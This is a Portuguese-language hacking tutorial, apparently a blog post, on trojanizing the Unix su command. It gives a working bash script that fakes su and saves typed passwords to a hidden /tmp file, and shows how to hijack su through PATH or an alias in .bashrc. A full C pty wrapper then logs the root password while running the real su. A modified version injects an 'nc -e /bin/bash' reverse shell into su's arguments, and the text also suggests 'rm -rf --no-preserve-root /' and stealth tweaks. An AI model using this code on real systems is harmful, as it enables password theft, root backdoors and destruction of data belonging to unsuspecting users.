Fakesu
Fakesu é uma técnica lendária, criada pelos bruxos anciões do underground que viviam em cavernas e sobreviviam com apenas 2MB de ram. A técnica consiste em usar um programa que simule o su, mas ao invés de efetuar o login apenas salva a senha digitada. Não sei exatamente onde li a respeito disso, provavelmente em algum fórum, mas lembro-me do código usado, era algo bem simples, parecido com isso:
#!/bin/bash
echo -n "Password: "
read -rs pw
echo "$pw" >> /tmp/.passwords.txt
echo
sleep 3
echo "su: Authentication failure"
Com o script criado, basta modificar o arquivo ~/.bashrc
e adicionar algum comando que faça o
fakesu ser executado toda vez que o usuário rodar o comando su.
Isso pode ser feito usando alias su='~/.fakesu.sh'
,
mas eu prefiro fazer de uma outra maneira: modificar a variável PATH, para algo como PATH="~/.fakesudir/:${PATH}"
,
e salvar o script, no dir ~/.fakesudir
, com o nome su
, lembrando também de dar permissão de execução
(a vantagem nesse caso é que, se o arquivo for deletado, o su verdadeiro volta a
ser executado sem problemas).
Como podem ver, a técnica é bastante simples, acredito que a maioria que esteja lendo isso já conheça o truque, mas tem alguns problemas, por exemplo, as mensagens podem ser diferentes, a linha de comando e o usuário não são verificados, o programa sempre falha. Solucionar esses problemas não é muito difícil, e até seria divertido, mas existe uma maneira melhor de pegar a senha, usando tty.
Além de poder armazenar o que é digitado, com tty, o su é executado normalmente, e você pode executar outros programas, por exemplo, sudo, mysql, ssh, etc, sem precisar criar uma versão fake de cada um. Código de exemplo:
/* gcc [file.c] -static -lutil -o su */
#define LOGFILE "/tmp/.password.txt"
#include <sys/types.h>
#include <sys/wait.h>
#include <termios.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <poll.h>
#include <pty.h>
int main(int argc, char **argv, char **envp){
struct pollfd pfds[2];
struct termios tios, old;
int master, fd, status, finish = 0;
char buf[1024];
ssize_t n;
pid_t pid;
/* cria tty e um novo processo */
pid = forkpty(&master, NULL, NULL, NULL);
if(pid == -1){
return 1;
} else if(pid == 0){
/* aqui é o novo processo criado, executamos o programa alvo */
execve("/usr/bin/su", argv, envp);
/* caso o binario não exista ... */
_exit(1);
}
/* modificando stdin (man 3 termios) */
tcgetattr(0, &tios);
memcpy(&old, &tios, sizeof(struct termios));
tios.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL);
tcsetattr(0, TCSAFLUSH, &tios);
fd = open(LOGFILE, O_CREAT|O_RDWR|O_APPEND, 0600);
if(fd == -1){
return 1;
}
/* usando POLLIN todos os eventos de entrada serão retornados:
stdin (quando uma tecla for digitada)
master (quando algo for printado no stdout ou stderr)
depois disso é so ler os dados e escrever:
read(master) -> write(stdout)
read(stdin) -> write(master)
*/
pfds[0].fd = 0;
pfds[1].fd = master;
pfds[0].events = POLLIN;
pfds[1].events = POLLIN;
/* escreve no arquivo até o stdin receber '\n' */
while(1){
if(poll(pfds, 2, -1) == -1)
break;
if(pfds[0].revents & POLLIN){
n = read(0, buf, 1);
if(n <= 0)
break;
write(master, buf, 1);
if(!finish){
write(fd, buf, 1);
if(buf[0] == '\n'){
finish = 1;
close(fd);
}
}
}
if(pfds[1].revents & POLLIN){
n = read(master, buf, sizeof(buf));
if(n <= 0)
break;
write(1, buf, n);
} else if(pfds[1].revents & POLLHUP){
break;
}
}
close(master);
/* restaura o stdin */
tcsetattr(0, TCSAFLUSH, &old);
/* retorna o status code do programa executado */
waitpid(pid, &status, 0);
return status;
}
Testando:
$ gcc fakesu.c -lutil -static -o fakesu
$ alias su='fakesu'
$ su -
Senha:
# id
uid=0(root) gid=0(root) grupos=0(root)
$ exit
$ cat /tmp/.password.txt
0123456789abcdef
Existem algumas melhorias que podem ser feitas, por exemplo, salvar a linha de comando, continuar
salvando mesmo depois do \n
(caso o usuário digite a senha errada), mudar o nome do processo (para
ficar mais stealth). Agora pense nas possibilidades, ao invés de simplesmente salvar a senha, seria
legal já executar algum comando, um rm -rf --no-preserve-root /
, ou uma shell reversa. Isso pode
ser feito de duas formas:
-
Escrever o comando, como se fosse o usuário digitando, usando
write(master, "cmd\n", size)
. Para isso é necessário verificar se o usuário logou com sucesso, apesar do prompt das shells ser customizável, a maioria sempre vai apresentar#
quando executada pelo root. O problema é que além de ter q detectar a shell, o que pode não funcionar, o comando é mostrado para o usuário, e esconder isso deixa o código bem complicado. -
Alterar o argv, por exemplo, transformar
su -
emsu - -c 'cmd;/bin/bash -i'
. O mesmo pode ser feito com sudo ou ssh.
Como a segunda alternativa é a mais simples, focaremos nela. Modificando o execve e adicionando dois parâmeteros (-c, cmd),
assim que o usuário logar teremos uma shell, vamos alterar o código, na parte do else if(pid == 0)
, ficando dessa maneira:
} else if(pid == 0){
int count;
char **xargv = malloc(sizeof(char *)*(argc+3));
for(count=0; count<argc; count++)
xargv[count] = argv[count];
xargv[count++] = "-c";
xargv[count++] = "nc -e /bin/bash localhost 1234 & /bin/bash -i";
xargv[count] = NULL;
/* aqui é o novo processo criado, executamos o programa alvo */
execve("/usr/bin/su", xargv, envp);
/* caso o binario não exista ... */
_exit(1);
}
Testando:
Tem muitas coisas que podem ser melhoradas, talvez eu faça e poste no github, por enquanto é isso.